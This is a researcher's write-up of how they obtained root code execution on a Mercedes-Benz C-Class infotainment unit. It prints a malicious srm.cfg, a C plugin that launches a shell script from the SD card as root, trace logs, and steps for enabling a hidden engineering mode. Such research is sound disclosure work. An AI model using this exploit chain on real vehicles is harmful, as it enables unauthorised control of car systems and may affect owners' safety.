srm.cfg - Local Code Execution via "srm"

CYA Preface

The information contained within this page is for educational purposes only. Multiple attempts at Responsible Disclosure were made to Mercedez-Benz USA and Daimler, beginning on Aug. 5th, 2016 via E-Mail, Twitter and HackerOne. No proprietary data/tools, other than what came on the HU HDD and the 3rd party package that was reverse engineered, were used in the course of this research. I will not be held responsible for anything you do with this information. Any systems/hardware you screw up will likely not be repaired under warranty. You've been warned.

What is this?

This is just a braindump of how I was able to execute code and obtain full 'root' access on a Mercedes-Benz C-Class (W205) NTG5*2 "COMMAND Online" infotainment system. I googled for days, there is literally no info on any of the things you're about to read. Try "+qnx +srm" as a search query, or "srm.cfg", this shit here is pretty fresh.

Beginnings...

Some people got a hold of a way to accesss "Dealer Mode" in the Head Unit (http://mbworld.org/forums/c43-amg-c63-amg-c63s-amg-w205/633163-dealer-mode.html) which lets you do some... boring stuff. I was mainly interested in the "Emergency Error Log" (trace log) and Core dumps from apps running/crashing in the QNX OS. These can be (and have been) exported to USB for investigation. After spending weeks reading the dumped trace logs I came across an interesting entry (one of many) that checks external storage (SD card) for a certain file. I've been sitting on this log data for weeks, not knowing how important it was until a few more hints came my way.

Here is what the logs show when an SD card is inserted:

Dec 31 16:00:39    5 20001     0 mme-update: hanlde a message [Add]-[SDCard device]-[Mass storage device]
Dec 31 16:00:39    5 20001     0 mme-update: Add a  sd card
Dec 31 16:00:39    1 32768     0 mme-update: create_link from </mnt/umass01200t11> to </fs/sdb0>
Dec 31 16:00:39    1 32768     0 vdev-medialaunch: io_read() else  - [PID=49208;TID=1] [nbytes=0] No data
Dec 31 16:00:39    3    23     0 /fs/sdb0 media inserted
Dec 31 16:00:39    5    23     0 /fs/sdb0 trying rule MOBILE_OFFICE_DATA_SD - match
Dec 31 16:00:39    5    23     0 /fs/sdb0 trying rule USERDATA - fail
Dec 31 16:00:39    4    23     0 /fs/sdb0:MOBILE_OFFICE_DATA_SD - client 0:24625
Dec 31 16:00:39    5    23     0 /fs/sdb0 trying rule SW_ODX_UPD - fail
Dec 31 16:00:39    5    23     0 /fs/sdb0 trying rule NAVI_UPDATE - fail
Dec 31 16:00:39    5    23     0 /fs/sdb0 trying rule GPXD - fail
Dec 31 16:00:39    5    23     0 /fs/sdb0 trying rule TRACE_COPY - fail
Dec 31 16:00:39    5    23     0 /fs/sdb0 forcing rule MMEMediumInserted - match
Dec 31 16:00:39    4    23     0 /fs/sdb0:MMEMediumInserted - client 0:24625
Dec 31 16:00:39    4    23     0 /fs/sdb0:MMEMediumInserted - client 0:57403
Dec 31 16:00:39    5    27     0 msxml_probe(mountpath='/fs/sdb0', name=0, max_name_length=0, id=0, max_id_length=0, capabilities=7be7ab0, storage_type=7be7aac) IN
Dec 31 16:00:39    5    27     0 msxml(/fs/sdb0) XML file not found
Dec 31 16:00:39    5    27     0 msxml_probe(mountpath='/fs/sdb0') volume='SDCARD'
Dec 31 16:00:39    5    27     0 msxml_probe(mountpath='/fs/sdb0' rating=0) OUT

And now the card is probed for a file by the 'srm' service:

4 20002 26 [srm] starting ...
4 20002 26 [srm] srm_internal_properties.configuration_file_try=1
4 20002 26 [srm] internal_config_dir=/var/opt/sys
4 20002 26 [srm] external_config_dir=/fs/sdb                            <----------------------
4 20002 26 [srm] startup config path: /var/opt/sys/srm_startup.cfg
2 20002 10 [srm] ignored: '/var/opt/sys/srm_startup.cfg' - No such file or directory
4 20002 26 [srm] start parsing /var/opt/sys/srm.cfg
4 20002 26 [srm] started (version 4.0/08.01.2014-10:44)
4 20002 26 [srm] parsing /var/opt/sys/srm.cfg done
5 10000 00 sysinit: starting srm @ t=233999766ns
3 10000 00 sysinit: cannot open srm data file (errno=2, No such file or directory)

Immediately that doesn't look like anything important. But from all the reading I've done (of the exported logs) and the SD card insertion log above, I know that the SD card is internally named "sdb" and here we see that the 'srm' program is looking for a file on the card.

After much failure trying to figure out the format of the file (working blind here, only having access to the exported Trace logs and nothing more) I came across a friend who had purchased a "hack/mod" to the COMAND system that allows you to enter text into the Navi while the car is moving (you can't normaly do this obviously). I didn't expect much to come out of this because I had no clue how that thing worked or what it did but I was running out of ideas. I asked my friend for the files so I can take a peek and what do you know, one of the files in the package (to be placed on the SD card) was named srm.cfg! This is some great coincidence... This guy helped me move my research along so much. Thanks again bud!

Not having any access to dealer tools or ANY firmware binaries related to the HU, this package of files has given me the biggest push forward yet and AFAIK is the only code in the "wild" that has this kind of direct interaction with the NTG5*2 HU. It is the first thing I've come across that has any code/strings/files (mainly "srm.cfg") that I've been able to match up to anything in the trace logs. This is very useful info.

So I started digging into the package. The two interesting ones are the srm.cfg file and a file I'll call c00l_h4x.so.

The actual "hack/product" and what it does is not important to me, but what is important is HOW it works. The .so library appears to be either a manufacturer-provided tool (plug-in) or a very cleverly disguised program to do the equivelant of "Variant Coding" on the head unit (limited to the HU itself and a small list of components it can talk to). I can only gather two interesting functions from the tool (get_coding/set_coding). There is quite a lot of encryption stuff going on, which makes me think it wasn't done by the DVD shop. Also I'm not certain of the legality of this product. Seems like too much work to keep the inner workings of this library private... Thats all I'm going to say for now.

So again in our Navi "hack" we had a bunch of seemingly useless files but the important one ("srm.cfg") contains a reference to the library (.so) file also on the SD card as such:

<?xml version='1.0' encoding='UTF-8'?>
<SRM-config>
    <BaseSpec>
        <KeepPluginsLoaded>0</KeepPluginsLoaded>
    </BaseSpec>
    <ToolSpec>
        <ActionId>1</ActionId>
        <Name>/fs/sdb0/c00l_h4x.so</Name>
        <Version>Default</Version>
        <SinkId>Slog</SinkId>
    </ToolSpec>
    <StartupSpec>
        <ActionId>1</ActionId>
    </StartupSpec>
</SRM-config>

It appears that srm.cfg file is instructing whatever processes this XML config file to load a library (plug-in) and execute whatever's in it. That's a high-level guess... Looking back through my trace logs I found a few candidates that I'd like to try loading instead of this libary on the SD card, something that is already on the FS. I found a reference to a "Splash" program which I assume would display an image. I modified the XML config file to point to this program, inserted my SD card and dumped the logs:

Dec 31 16:01:07.017 4 20002 26 [srm] external config is available now: /fs/sdb0/srm.cfg
Dec 31 16:01:07.017 4 20002 26 [srm] start parsing /fs/sdb0/srm.cfg
Dec 31 16:01:07.018 4 20002 26 [srm] parsing /fs/sdb0/srm.cfg done
Dec 31 16:01:07.018 4 20002 26 [srm] master stopping all tools
Dec 31 16:01:07.019 2 20002 10 [srm] plugin 'lib/../../../opt/sys/bin/splash.so' not found! <----------------------
Dec 31 16:01:07.020 2 20002 10 [srm] handle_action_type_start(): tool '/../../../opt/sys/bin/splash' not found

That didn't work as expected, but at least it confirms my modified srm.cfg is being read and parsed.

I later realized that I was trying to pass an ELF executable off as a Library (what this tool is expecting). So I gave it a random library I found on the FS (again a random lib I found from trace logs):

Dec 31 16:00:55.485 4 20002 26 [srm] external config is available now: /fs/sdb0/srm.cfg
Dec 31 16:00:55.485 4 20002 26 [srm] start parsing /fs/sdb0/srm.cfg
Dec 31 16:00:55.485 4 20002 26 [srm] parsing /fs/sdb0/srm.cfg done
Dec 31 16:00:55.486 4 20002 26 [srm] master stopping all tools
Dec 31 16:00:55.532 2 20002 10 [srm] open lib/../../../fs/sda0/opt/mm/lib/libmm_userdefinedfunctions.so: (Library cannot be found)
Dec 31 16:00:55.532 4 20002 26 [srm] library for /../../../fs/sda0/opt/mm/lib/libmm_userdefinedfunctions not found

This also didn't do anything I was hoping for (not really sure what I was expecting, especially with that randomly selected lib).

So I decided I need to download the QNX Software Development Platform v6.6.0 and get to business writing a proper library. I wrote a quick little C program (already forgot that we need a library!) that I hoped would open a network port. I got a little further, or so I thought:

Dec 31 16:00:39.391 4 20002 26 [srm] external config is available now: /fs/sdb0/srm.cfg
Dec 31 16:00:39.393 4 20002 26 [srm] start parsing /fs/sdb0/srm.cfg
Dec 31 16:00:39.394 4 20002 26 [srm] parsing /fs/sdb0/srm.cfg done
Dec 31 16:00:39.394 4 20002 26 [srm] master stopping all tools
Dec 31 16:00:39.399 2 20002 10 [srm] open lib/../../../fs/sdb0/testnet.so: (Shared library is corrupted) <----------------------
Dec 31 16:00:39.399 4 20002 26 [srm] library for /../../../fs/sdb0/testnet not found

After that didn't work I woke up and remembered that I needed to write a library (keyword there), I created a new project, sent it over and got something very interesting in the output:

Dec 31 16:01:02.482 4 20002 26 [srm] external config is available now: /fs/sdb0/srm.cfg
Dec 31 16:01:02.484 4 20002 26 [srm] start parsing /fs/sdb0/srm.cfg
Dec 31 16:01:02.485 4 20002 26 [srm] parsing /fs/sdb0/srm.cfg done
Dec 31 16:01:02.485 4 20002 26 [srm] master stopping all tools
Dec 31 16:01:02.499 2 20002 10 [srm] /../../../fs/sdb0/libtestlib->plugin_cb_main() (Symbol not found)  <----------------

I'm not much of a coder but that tells me my boring old main() function isn't right here... so I took a look at the symbols of my special "hack" library file (c00l_h4x.so). These are the "functions" available from the library, something srm expects to call and use as entry points:

[mozy@box ~]$ objdump -TC c00l_h4x.so | grep plugin
00003104 g    DF .text  00000024 plugin_cb_help
00003184 g    DF .text  00000005 plugin_cb_stop
0000315c g    DF .text  00000008 plugin_cb_set_callback_function
000030f4 g    DF .text  0000000f plugin_cb_main
00003154 g    DF .text  00000008 plugin_cb_set_start_delay
00003128 g    DF .text  00000024 plugin_cb_version
00003164 g    DF .text  00000007 plugin_cb_trigger
0000314c g    DF .text  00000008 plugin_cb_set_tool_id
0000316c g    DF .text  00000017 plugin_cb_monitor_activate

So it looks like we have to match the functions in this library or otherwise the Plug-in manager (srm) doesn't know where to find the lib's entry point. After creating the first function it was looking for, I got more errors on further missing functions such as:

/../../../fs/sdb0/libtestlib->plugin_cb_set_start_delay() (Symbol not found)

Rather than repeat this process 8 more times I just went ahead and stubbed them all as shown here because I have no idea what they're supposed to do:

int plugin_cb_set_start_delay() { return 0; }
int plugin_cb_help() { return 0; }
int plugin_cb_stop() { return 0; }
int plugin_cb_set_callback_function() { return 0; }
int plugin_cb_version() { return 0; }
int plugin_cb_trigger() { return 0; }
int plugin_cb_set_tool_id() { return 0; }
int plugin_cb_monitor_activate() { return 0; }

I then took my previous code that was supposed to open a network port and... it failed. I was writing a library to open a TCP port and execute a system call to a shell. I took one final look at the trace log output and learned that this plug-in does not have permissions to open network ports. So I decided to do the smart thing and read the QNX dev dox. What is the most obvious way to see if something works? A reboot of course! So I put sysmgr_reboot(); in the plugin_cb_main() function and... it worked!

Dec 31 16:00:00.228 4 20002 26 [srm] starting ...
Dec 31 16:00:00.228 4 20002 26 [srm] srm_internal_properties.configuration_file_try=1
Dec 31 16:00:00.228 4 20002 26 [srm] internal_config_dir=/var/opt/sys
Dec 31 16:00:00.229 4 20002 26 [srm] external_config_dir=/fs/sdb0
Dec 31 16:00:00.229 4 20002 26 [srm] startup config path: /var/opt/sys/srm_startup.cfg
Dec 31 16:00:00.229 2 20002 10 [srm] ignored: '/var/opt/sys/srm_startup.cfg' - No such file or directory
Dec 31 16:00:00.230 4 20002 26 [srm] start parsing /var/opt/sys/srm.cfg
Dec 31 16:00:00.230 4 20002 26 [srm] started (version 4.0/08.01.2014-10:44)
Dec 31 16:00:00.230 4 20002 26 [srm] parsing /var/opt/sys/srm.cfg done
Dec 31 16:00:00.230 5 10000 00 sysinit: starting srm @ t=230999769ns
Dec 31 16:00:00.231 3 10000 00 sysinit: cannot open srm data file (errno=2, No such file or directory)
Dec 31 16:00:15.932 4 20002 26 [srm] master: received slave nodename: /net/hu-slave/
Dec 31 16:00:15.975 4 20002 26 [srm] master T1: open(/net/hu-slave//dev/srm/sync/time)
Dec 31 16:00:16.003 4 20002 26 [srm] master: synchronisation thread terminating (ok)
Dec 31 16:00:55.452 4 20002 26 [srm] external config is available now: /fs/sdb0/srm.cfg
Dec 31 16:00:55.456 4 20002 26 [srm] start parsing /fs/sdb0/srm.cfg
Dec 31 16:00:55.457 4 20002 26 [srm] parsing /fs/sdb0/srm.cfg done
Dec 31 16:00:55.457 4 20002 26 [srm] master stopping all tools
Dec 31 16:00:55.472 0 00000 00 [srm] master and slave succesfully synchronized     <<----------- !!!!
Dec 31 16:00:55.492 4 20002 26 [/../../../fs/sdb0/libtestlib] switch state->init
<HU REBOOTS>

The srm.cfg file was parsed, my library was loaded, the plugin_cb_main() function was executed and the Head Unit rebooted immediately!

So now I have this:

1) A srm.cfg file that loads my library (libtestlib.so)

2) A library that reboots the Head Unit when the loaded by SRM.

Not much use really. So I did the next most logical thing and tried writing a file:

...
    FILE *fp;
    fp = fopen("/fs/sdb0/testfile.txt", "w+");
    fprintf(fp, "Does this work?\n");
    fclose(fp);
...

This worked nicely too. I confirmed I have the ability to run basic code on the system and do most everything I need for a full takeover.

Chainloading shell scripts!

Then I had a thought... since I can do most anything with standard C code from this library, and rebuilding/transferring it is a pain in the butt to test each thing (and I'm very rusty with C), why not have a way to run other things such as shell scripts? It is *nix after all.

So I whipped up a tiny bit of code that launches ksh which in turn parses and runs a statically assigned shell script on the SD card. I don't think I have to explain the code as it is very simple.

The magic gateway to shell country...

Here it is in all its glory:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>

int plugin_cb_set_start_delay() { return 0; }
int plugin_cb_help() { return 0; }
int plugin_cb_stop() { return 0; }
int plugin_cb_set_callback_function() { return 0; }
int plugin_cb_version() { return 0; }
int plugin_cb_trigger() { return 0; }
int plugin_cb_set_tool_id() { return 0; }
int plugin_cb_monitor_activate() { return 0; }

int plugin_cb_main()
{
    // Execute ksh and run script on /fs/sdb0/run.sh
    int ret;
    char *envp[] = { NULL };
    char *argv[] = { "/bin/ksh", "/fs/sdb0/run.sh", NULL };
    ret = execve("/bin/ksh", argv, envp);
    return ret;
}

This is as simple as I could make it. Now I have a way of testing things quicker (and easier), don't have to deal with compiling/transferring the library file and best of all I don't have to deal with my rusty C coding skills. I can just write shell scripts such as this little run.sh gem to attempt listing all files on the FS and store then on the SD card:

#!/bin/ksh
/bin/ls -lR / > /fs/sdb0/output.txt

We can now see what's available on the FS! Here's a small sample. I've cut out 99% of it, just a few proofs that it works.

/:
total 2784523
lrwxrwxrwx  1 root      root             21 Dec 31  1969 air -> /fs/sda0/opt/hmi/data
dr-xr-xr-x  2 root      root              0 Aug 22 07:54 alt
lrwxrwxrwx  1 root      root             12 Dec 31  1969 bin -> /fs/sda0/bin
drwxr-xr-x  2 root      root             10 Dec 31  1969 boot
dr-xr-xr-x  2 root      root              0 Aug 22 07:54 dev
lrwxrwxrwx  1 root      root             12 Dec 31  1969 etc -> /fs/sda0/etc
drwxr-xr-x  2 root      root             10 Dec 31  1969 fs
dr-xr-xr-x  2 root      root              0 Aug 22 07:54 hbsystem
lrwxrwxrwx  1 root      root             12 Dec 31  1969 lib -> /fs/sda0/lib
dr-xr-xr-x  2 root      root              0 Aug 22 07:54 mnt
dr-xr-xr-x  1 root      root              0 Aug 22 07:54 net
lrwxrwxrwx  1 root      root             12 Dec 31  1969 opt -> /fs/sda0/opt
dr-xr-xr-x  2 root      root      1425670144 Aug 22 07:54 proc
lrwxrwxrwx  1 root      root             12 Dec 31  1969 sbin -> /fs/sda0/bin
dr-xr-xr-x  2 root      root              0 Aug 22 07:54 srv
drwxr-xr-x  2 root      root             10 Dec 31  1969 tmp
drwxr-xr-x  2 root      root             10 Dec 31  1969 usr
lrwxrwxrwx  1 root      root              8 Dec 31  1969 var -> /fs/sda1

... SNIP ...

/fs/sda0/opt/hmi/bin:
total 3648
drwxrwxrwx  3 root      root           4096 Jan 09  2015 .
drwxrwxrwx  6 root      root           4096 Jan 09  2015 ..
-rwxrwxrwx  1 root      root         328576 Dec 06  2013 DirectRenderingPlayer
-rwxrwxrwx  1 root      root           1738 Dec 06  2013 DirectRenderingPlayer.hbtc
-rwxrwxrwx  1 root      root             52 Dec 06  2013 DirectRenderingPlayer.ini
-rwxrwxrwx  1 root      root          19430 Dec 06  2013 DirectRenderingPlayerCmd
-rwxrwxrwx  1 root      root         129644 May 21  2014 DisplayManager
-rwxrwxrwx  1 root      root          97788 Oct 22  2014 Gateway
-rwxrwxrwx  1 root      root           7028 Oct 22  2014 Keyboard
-rwxrwxrwx  1 root      root         112892 Oct 22  2014 KeyboardService
lrwxrwxrwx  1 root      root             50 Aug 22 07:54 NTG5_HMI_App -> /dev/shmem/fs/sda0/opt/hmi/bin/zipped/NTG5_HMI_App
-rwxrwxrwx  1 root      root          25142 Mar 24  2014 NTG5_TraceScopeSet_NTG5_HMI_App.hbtc
-rwxrwxrwx  1 root      root        1083713 Dec 06  2013 globe_pvrtc.bin
-rwxrwxrwx  1 root      root            973 Dec 06  2013 persistTraceDirectRenderingPlayer.bin
-rwxrwxrwx  1 root      root          14454 Oct 22  2014 persistTraceNTG5_HMI_App.bin
-rwxrwxrwx  1 root      root          30280 Dec 06  2013 splashCoDriver
drwxrwxrwx  2 root      root           4096 Jan 09  2015 zipped

After a bit of digging I was able to figure out how to display messages on the Head Unit, its as simple as putting this line in the shell script:

/opt/sys/bin/dispmsg --timeout 2 --popup "Not sure if..." &

Here's what it looks like:

Are we root? Yes we are!

The best part is knowing that this srm daemon/tool/thing loads the plugin with root privs which is very helpful if you want to get access to everything.

After going over more logs and through the filesystem I found a few references to the splash program I was trying to run many, MANY, weeks ago. So I learned the proper program arguments and then I finished the day off by loading an image from my SD card:

/opt/sys/bin/splash --interval 2 --color 000000ff --window splash /fs/sdb0/fry_squint.tga

Here's what it looks like: Running our shell script splash image

Engineering Mode

OK I was sitting on this for a while, not sure if it was a good idea to release this. But here we go. Obviously this isn't a plug-and-play step-by-step guide. That is on purpose. See if you can figure out why.

You need to "modify" two persistent files on the HDD. They are both 160 bytes in size. They have 1 byte that needs to be changed but they also have a 4-byte checksum/hash at the start of the file. The two files in question are "pers_pathologyEngMode" and "pers_pathologyEngineeringSwitch".

The easiest way to do it is to replace them both with another file in that same directory, with that same file size. It has a 1-byte difference (00 -> 01) and a valid checksum. Do the deed, reboot the HU, go to Vehicle Settings, go to the bottom menu, and scroll to the far right and hold the scroll wheel to the right for about 3 seconds.

This is literally the answer. If you can't figure it out from this, don't bother.

More later. Maybe.

090816